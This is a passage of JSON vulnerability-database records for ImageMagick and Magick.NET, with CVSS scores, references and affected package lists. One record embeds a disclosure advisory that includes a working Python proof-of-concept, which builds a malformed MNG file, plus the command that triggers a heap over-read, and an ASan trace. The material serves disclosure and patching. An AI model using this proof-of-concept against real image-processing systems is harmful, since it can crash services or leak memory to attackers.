], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30936" }, { "reference_url": "https://github.com/advisories/GHSA-5ggv-92r5-cp4p", "reference_id": "GHSA-5ggv-92r5-cp4p", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-5ggv-92r5-cp4p" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-5ggv-92r5-cp4p", "reference_id": "GHSA-5ggv-92r5-cp4p", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-10T14:48:08Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-5ggv-92r5-cp4p" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74575?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.4", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.4" } ], "aliases": [ "CVE-2026-30936", "GHSA-5ggv-92r5-cp4p" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-s9q4-zzzf-e7gt" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50320?format=api", "vulnerability_id": "VCID-s9vc-rtmc-vygy", "summary": "ImageMagick has NULL pointer dereference in ReadSFWImage after DestroyImageInfo (sfw.c)\nIn `ReadSFWImage()` (`coders/sfw.c`), when temporary file creation fails, `read_info` is destroyed before its `filename` member is accessed, causing a NULL pointer dereference and crash.\n\n```\nAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==1414421==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 (pc 0x56260222912f bp 0x7ffec0a193b0 sp 0x7ffec0a19360 T0)", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25795.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25795.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25795", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.0002", "scoring_system": "epss", "scoring_elements": "0.05851", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25795" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25795", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25795" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/332c1566acc2de77857032d3c2504ead6210ff50", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/332c1566acc2de77857032d3c2504ead6210ff50" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/55c344f4b514213642da41194bab57b4476fb9f5", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/55c344f4b514213642da41194bab57b4476fb9f5" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442099", "reference_id": "2442099", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442099" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25795", "reference_id": "CVE-2026-25795", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25795" }, { "reference_url": "https://github.com/advisories/GHSA-p33r-fqw2-rqmm", "reference_id": "GHSA-p33r-fqw2-rqmm", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-p33r-fqw2-rqmm" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-p33r-fqw2-rqmm", "reference_id": "GHSA-p33r-fqw2-rqmm", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-26T15:07:57Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-p33r-fqw2-rqmm" }, { "reference_url": "https://usn.ubuntu.com/8127-1/", "reference_id": "USN-8127-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8127-1/" }, { "reference_url": "https://usn.ubuntu.com/8263-1/", "reference_id": "USN-8263-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8263-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-25795", "GHSA-p33r-fqw2-rqmm" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-s9vc-rtmc-vygy" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/57967?format=api", "vulnerability_id": "VCID-sca8-3j9v-2qgn", "summary": "imagemagick: heap-buffer overflow read in MNG magnification with alpha\n## **Vulnerability Details**\n\nWhen performing image magnification in `ReadOneMNGIMage` (in `coders/png.c`), there is an issue around the handling of images with separate alpha channels.\n\nWhen loading an image with a color type that implies a separate alpha channel (ie. `jng_color_type >= 12`), we will load the alpha pixels in this loop:\n\n```c\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Reading alpha from alpha_blob.\");\n jng_image=ReadImage(alpha_image_info,exception);\n\n if (jng_image != (Image *) NULL)\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n s=GetVirtualPixels(jng_image,0,y,image->columns,1,exception);\n q=GetAuthenticPixels(image,0,y,image->columns,1,exception); // [0]\n if ((s == (const Quantum *) NULL) || (q == (Quantum *) NULL))\n break;\n\n if (image->alpha_trait != UndefinedPixelTrait)\n for (x=(ssize_t) image->columns; x != 0; x--)\n {\n SetPixelAlpha(image,GetPixelRed(jng_image,s),q);\n q+=(ptrdiff_t) GetPixelChannels(image);\n s+=(ptrdiff_t) GetPixelChannels(jng_image);\n }\n\n else\n for (x=(ssize_t) image->columns; x != 0; x--)\n {\n Quantum\n alpha;\n\n alpha=GetPixelRed(jng_image,s);\n SetPixelAlpha(image,alpha,q);\n if (alpha != OpaqueAlpha)\n image->alpha_trait=BlendPixelTrait; // [1]\n q+=(ptrdiff_t) GetPixelChannels(image);\n s+=(ptrdiff_t) GetPixelChannels(jng_image);\n }\n\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n }\n```\n\nNote that at \\[1\\] we update `image->alpha_trait`, but if our alpha image only contains non-opaque pixels in the last row, we do not call `GetAuthenticPixels` (at \\[0\\]) after this change has been made. \n\nThe next call to `GetAuthenticPixels` will then call down into `ResetPixelChannelMap` which adds the new alpha channel to the image channel mappings and metadata.\n\nIf we then pass this image into the `MAGN` chunk type, we can see that at \\[2\\] we calculate the sizes for intermediate buffers `next` and `prev`, before calling `GetAuthenticPixels` at \\[4\\]. \n\nAfter the call at \\[4\\], the `image->num_channels` has increased to include the new alpha channel, and now `length` and the previously allocated `next` and `prev` buffers are too small. Fortunately `length` is always used when copying into the buffers, but when reading pixels from the buffers, we call `GetPixelXXX` which assumes the layout of the current image, which requires a larger allocation. \n\nThe pixel copying loop will subsequently read beyond the end of the allocation at \\[5\\].\n\n```c\n /* magnify the rows into the right side of the large image */\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Magnify the rows to %.20g\",\n (double) large_image->rows);\n m=(ssize_t) mng_info->magn_mt;\n yy=0;\n length=(size_t) GetPixelChannels(image)*image->columns; // [2]\n next=(Quantum *) AcquireQuantumMemory(length,sizeof(*next));\n prev=(Quantum *) AcquireQuantumMemory(length,sizeof(*prev));\n\n if ((prev == (Quantum *) NULL) ||\n (next == (Quantum *) NULL))\n {\n if (prev != (Quantum *) NULL)\n prev=(Quantum *) RelinquishMagickMemory(prev);\n if (next != (Quantum *) NULL)\n next=(Quantum *) RelinquishMagickMemory(next);\n image=DestroyImageList(image);\n ThrowReaderException(ResourceLimitError,\n \"MemoryAllocationFailed\");\n }\n\n n=GetAuthenticPixels(image,0,0,image->columns,1,exception); // [4]\n (void) memcpy(next,n,length);\n\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n if (y == 0)\n m=(ssize_t) mng_info->magn_mt;\n\n else if (magn_methy > 1 && y == (ssize_t) image->rows-2)\n m=(ssize_t) mng_info->magn_mb;\n\n else if (magn_methy <= 1 && y == (ssize_t) image->rows-1)\n m=(ssize_t) mng_info->magn_mb;\n\n else if (magn_methy > 1 && y == (ssize_t) image->rows-1)\n m=1;\n\n else\n m=(ssize_t) mng_info->magn_my;\n\n n=prev;\n prev=next;\n next=n;\n\n if (y < (ssize_t) image->rows-1)\n {\n n=GetAuthenticPixels(image,0,y+1,image->columns,1,\n exception);\n (void) memcpy(next,n,length);\n }\n\n for (i=0; i < m; i++, yy++)\n {\n Quantum\n *pixels;\n\n assert(yy < (ssize_t) large_image->rows);\n pixels=prev;\n n=next;\n q=GetAuthenticPixels(large_image,0,yy,large_image->columns,\n 1,exception);\n if (q == (Quantum *) NULL)\n break;\n q+=(ptrdiff_t) (large_image->columns-image->columns)*\n GetPixelChannels(large_image);\n\n for (x=(ssize_t) image->columns-1; x >= 0; x--)\n {\n /* To do: get color as function of indexes[x] */\n /*\n if (image->storage_class == PseudoClass)\n {\n }\n */\n\n if (magn_methy <= 1)\n {\n /* replicate previous */\n SetPixelRed(large_image,GetPixelRed(image,pixels),q); // [5]\n SetPixelGreen(large_image,GetPixelGreen(image,\n pixels),q);\n SetPixelBlue(large_image,GetPixelBlue(image,\n pixels),q);\n SetPixelAlpha(large_image,GetPixelAlpha(image,\n pixels),q);\n }\n```\n\nThis can likely be used to leak subsequent memory contents into the output image.\n\nThe attached proof-of-concept triggers this issue and is not blocked by any of the default security policies.\n\n## **Affected Version(s)**\n\nThe issue has been successfully reproduced:\n\n- at commit `3e37a7f15fcb1aa80e6beae3898e684309c2ecbe`\n\n- in stable release `7.1.2-0`\n\n### **Build Instructions**\n\n```shell\ngit clone https://github.com/imagemagick/imagemagick\n\ncd imagemagick\n\nexport CC=clang\nexport CXX=clang++\nexport CFLAGS=\"-fsanitize=address -O0 -ggdb\"\nexport CXXFLAGS=\"-fsanitize=address -O0 -ggdb\"\nexport LDFLAGS=\"-fsanitize=address -O0 -ggdb\"\n\n./configure --disable-shared --disable-docs --with-jxl\nmake -j\n```\n\n## **Reproduction**\n\n### **Test Case**\n\nThis testcase is a python script that will generate an MNG file which can be used to trigger the vulnerability.\n\n```\nimport struct\nimport zlib\n\ndef chunk(tag, data):\n crc = zlib.crc32(tag + data) & 0xffffffff\n return struct.pack('>I', len(data)) + tag + data + struct.pack('>I', crc)\n\n# Simple 128x1 RGB jpeg\njpeg = bytes([\n 0xff, 0xd8, 0xff, 0xe0, 0x00, 0x10, 0x4a, 0x46, 0x49, 0x46, 0x00, 0x01,\n 0x01, 0x01, 0x01, 0x2c, 0x01, 0x2c, 0x00, 0x00, 0xff, 0xdb, 0x00, 0x43,\n 0x00, 0x03, 0x02, 0x02, 0x03, 0x02, 0x02, 0x03, 0x03, 0x03, 0x03, 0x04,\n 0x03, 0x03, 0x04, 0x05, 0x08, 0x05, 0x05, 0x04, 0x04, 0x05, 0x0a, 0x07,\n 0x07, 0x06, 0x08, 0x0c, 0x0a, 0x0c, 0x0c, 0x0b, 0x0a, 0x0b, 0x0b, 0x0d,\n 0x0e, 0x12, 0x10, 0x0d, 0x0e, 0x11, 0x0e, 0x0b, 0x0b, 0x10, 0x16, 0x10,\n 0x11, 0x13, 0x14, 0x15, 0x15, 0x15, 0x0c, 0x0f, 0x17, 0x18, 0x16, 0x14,\n 0x18, 0x12, 0x14, 0x15, 0x14, 0xff, 0xdb, 0x00, 0x43, 0x01, 0x03, 0x04,\n 0x04, 0x05, 0x04, 0x05, 0x09, 0x05, 0x05, 0x09, 0x14, 0x0d, 0x0b, 0x0d,\n 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14,\n 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14,\n 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14,\n 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14,\n 0x14, 0x14, 0xff, 0xc0, 0x00, 0x11, 0x08, 0x00, 0x01, 0x00, 0x80, 0x03,\n 0x01, 0x11, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01, 0xff, 0xc4, 0x00,\n 0x15, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0xff, 0xc4, 0x00, 0x14,\n 0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xc4, 0x00, 0x14, 0x01, 0x01,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0xff, 0xc4, 0x00, 0x14, 0x11, 0x01, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0xff, 0xda, 0x00, 0x0c, 0x03, 0x01, 0x00, 0x02, 0x11, 0x03,\n 0x11, 0x00, 0x3f, 0x00, 0xaa, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x3f, 0xff, 0xd9\n])\n\n# MNG File Construction\nmng_sig = b'\\x8aMNG\\r\\n\\x1a\\n'\nmhdr_data = struct.pack('>IIIIIII', 1, 1, 1, 0, 0, 0, 0)\nmhdr_chunk = chunk(b'MHDR', mhdr_data)\nmagn_data = struct.pack('>HH B H H H H H H B', 0, 0, 1, 2, 2, 2, 2, 2, 2, 1)\nmagn_chunk = chunk(b'MAGN', magn_data)\njhdr_data = struct.pack('>IIBBBBBBBB', 128, 1, 12, 8, 8, 0, 8, 0, 0, 0)\njhdr_chunk = chunk(b'JHDR', jhdr_data)\njdat_chunk = chunk(b'JDAT', jpeg)\nscanlines = b'\\x00\\x00'*128\ncompressed_scanlines = zlib.compress(scanlines)\nidat_chunk = chunk(b'IDAT', compressed_scanlines)\niend_chunk = chunk(b'IEND', b'')\nmend_chunk = chunk(b'MEND', b'')\nmng_bytes = mng_sig + mhdr_chunk + magn_chunk + jhdr_chunk + jdat_chunk + idat_chunk + iend_chunk + mend_chunk\n\nwith open(\"magn_read.mng\", \"wb\") as tmp:\n tmp.write(mng_bytes)\n```\n\n### **Command**\n\n```shell\npython3 ./generate_testcase.py\nutilities/magick ./magn_read.mng -resize 200x200 PNG:output.png\n```\n\n### **ASan Backtrace**\n\n```\n=================================================================\n==1562409==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x51b000000680 at pc 0x557a486b0c64 bp 0x7ffe63210de0 sp 0x7ffe63210dd8\nREAD of size 4 at 0x51b000000680 thread T0\n #0 0x557a486b0c63 in GetPixelRed /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:405:10\n #1 0x557a4869ce03 in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6657:51\n #2 0x557a48683c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9\n #3 0x557a487a8f41 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15\n #4 0x557a487abf36 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9\n #5 0x557a48d747a8 in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4961:22\n #6 0x557a48d6862c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5475:7\n #7 0x557a48c3e3fb in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13\n #8 0x557a48c3f7c9 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5\n #9 0x557a48c3c13c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14\n #10 0x557a482847b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10\n #11 0x557a482841e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10\n #12 0x7f1431833ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16\n #13 0x7f1431833d64 in __libc_start_main csu/../csu/libc-start.c:360:3\n #14 0x557a481a0790 in _start (/tmp/repro/imagemagick/utilities/magick+0x1f3790) (BuildId: c19eeda184f03d027903a515c023bed30e652cc3)\n\n0x51b000000680 is located 0 bytes after 1536-byte region [0x51b000000080,0x51b000000680)\nallocated by thread T0 here:\n #0 0x557a482405c3 in malloc (/tmp/repro/imagemagick/utilities/magick+0x2935c3) (BuildId: c19eeda184f03d027903a515c023bed30e652cc3)\n #1 0x557a482b9b6a in AcquireMagickMemory /tmp/repro/imagemagick/MagickCore/memory.c:559:10\n #2 0x557a482b9dba in AcquireQuantumMemory /tmp/repro/imagemagick/MagickCore/memory.c:677:10\n #3 0x557a4869c58c in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6584:34\n #4 0x557a48683c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9\n #5 0x557a487a8f41 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15\n #6 0x557a487abf36 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9\n #7 0x557a48d747a8 in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4961:22\n #8 0x557a48d6862c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5475:7\n #9 0x557a48c3e3fb in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13\n #10 0x557a48c3f7c9 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5\n #11 0x557a48c3c13c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14\n #12 0x557a482847b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10\n #13 0x557a482841e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10\n #14 0x7f1431833ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:405:10 in GetPixelRed\nShadow bytes around the buggy address:\n 0x51b000000400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x51b000000480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x51b000000500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x51b000000580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x51b000000600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=>0x51b000000680:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x51b000000700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x51b000000780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x51b000000800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x51b000000880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x51b000000900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\nShadow byte legend (one shadow byte represents 8 application bytes):\n Addressable: 00\n Partially addressable: 01 02 03 04 05 06 07 \n Heap left redzone: fa\n Freed heap region: fd\n Stack left redzone: f1\n Stack mid redzone: f2\n Stack right redzone: f3\n Stack after return: f5\n Stack use after scope: f8\n Global redzone: f9\n Global init order: f6\n Poisoned by user: f7\n Container overflow: fc\n Array cookie: ac\n Intra object redzone: bb\n ASan internal: fe\n Left alloca redzone: ca\n Right alloca redzone: cb\n==1562409==ABORTING\n```\n\n## **Reporter Credit**\n\nGoogle Big Sleep", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-55004.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.6", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-55004.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2025-55004", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00083", "scoring_system": "epss", "scoring_elements": "0.24303", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2025-55004" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.6", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.8.0", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.6", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.8.0" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.6", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://goo.gle/bigsleep", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.6", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-13T14:35:55Z/" } ], "url": "https://goo.gle/bigsleep" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111101", "reference_id": "1111101", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111101" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2388246", "reference_id": "2388246", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2388246" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55004", "reference_id": "CVE-2025-55004", "reference_type": "", 